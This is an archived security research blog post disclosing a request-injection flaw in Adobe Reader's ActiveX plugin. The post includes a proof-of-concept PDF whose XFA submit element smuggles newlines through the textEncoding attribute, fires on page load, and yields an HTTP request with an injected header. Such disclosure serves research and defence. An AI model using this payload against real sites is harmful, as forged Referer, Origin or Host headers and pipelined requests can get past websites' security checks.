

Adobe Reader PDF - Client Side Request Injection

Adobe Reader PDF - Client Side Request Injection - Author not stated, insert-script.blogspot.com.

- Published: date not stated
- Original: <<https://insert-script.blogspot.com/2018/05/adobe-reader-pdf-client-side-request.html>>
- Preserved from: <https://insert-script.blogspot.com/2018/05/adobe-reader-pdf-client-side-request.html> (live) on 2026-08-06
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Top 10 Web Hacking Techniques lists, kept so the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

##

Some time ago I discovered a way to inject new lines in a POST request triggered by the Adobe Software/ActiveX. This allows to add new headers or completely modify the created requests. **For example you can inject headers like: Referer, Content-Length, Host, Origin etc, which is normally not allowed (eg via XHR) as it can be abused to bypass certain security checks implemented by websites.** Additionally it is possible to create a completely new request by abusing HTTP pipelining. One more important information: This injection is not limited to POST requests as you can use a HTTP redirect to change the HTTP request to a GET request without losing the injected header.

With this vulnerability it is my first time doing full disclosure without reporting the bug itself beforehand (or doing a presentation). I have no specific motivation to do so, maybe it is because the good times of PDF's rendered by Browsers is almost over. Additionally the impact is really limited and even requires that the users browser is using Adobes ActiveX plugin.

####

SubmitForm

The XFA specification defines an element called `<submit>`. It allows to send the rendered XFA form to a specified URL via a HTTP POST request. In case the PDF is rendered in a web browser, the location will be changed to the specified URL. To give the user some additional control, it is not only possible to define the xdp content (eg the parts of the form, which should be submitted) but additionally the charset encoding. As soon as I saw that the triggered POST request contains the defined charset, I tried injecting new lines. To my surprise this worked without any problems therefore allowing me to modify the request at my will.

I recommend to try it yourself (start IE with the latest Adobe PDF ActiveX, which should be present when you install the Adobe PDF reader). As soon as the PDF is loaded it will automatically trigger the

POST request, no user interaction necessary.

Tested ActiveX version:

17.12.20093.238000

Adobe Acrobat Reader DC version: 18.011.20038

Technical notes

Normally I use the *initialize* *event to trigger the execution of any field as it is the first event to trigger but in this case it does not work. In case the *initialize* *event is used, the POST payload is almost empty (make sense as the XFA DOM is still not properly merged), the charset is set in the header, but neither is the POST payload encoded accordingly nor does the injection work. Therefore the PoC is using the *docReady* *event, *as it is fired as soon as the DOM/document is properly merged.

```
% a PDF file using an XFA
% most whitespace can be removed (truncated to 570 bytes or so...)
% Ange Albertini BSD Licence 2012
```

```
% modified by InsertScript

%PDF-1. % can be truncated to %PDF-\0

1 0 obj <<>>
stream
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config><present><pdf>
  <interactive>1</interactive>
</pdf></present></config>

<template>
  <subform name="_">
    <pageSet/>
    <field id="Hello World!">
      <event activity="docReady" ref="$host" name="event__click">
        <submit
          textEncoding="UTF-16

test: test
"

          xdpContent="pdf datasets xfdf"
          target="http://example.com/test"/>
        </event>
```

```
</field>
  </subform>
</template>
</xdp:xdp>
endstream
endobj

trailer <<
  /Root <<
    /AcroForm <<
      /Fields [<<
        /T (0)
        /Kids [<<
          /Subtype /Widget
          /Rect []
          /T ()
          /FT /Btn
        >>]
      >>]
      /XFA 1 0 R
    >>
  /Pages <<>>
>>
>>
```

Triggered HTTP request:

```
POST /test HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Content-Type: application/vnd.adobe.xdp+xml; charset=utf-16
test: test
Accept-Language: de-DE
```

```
Host: example.com
[...]
```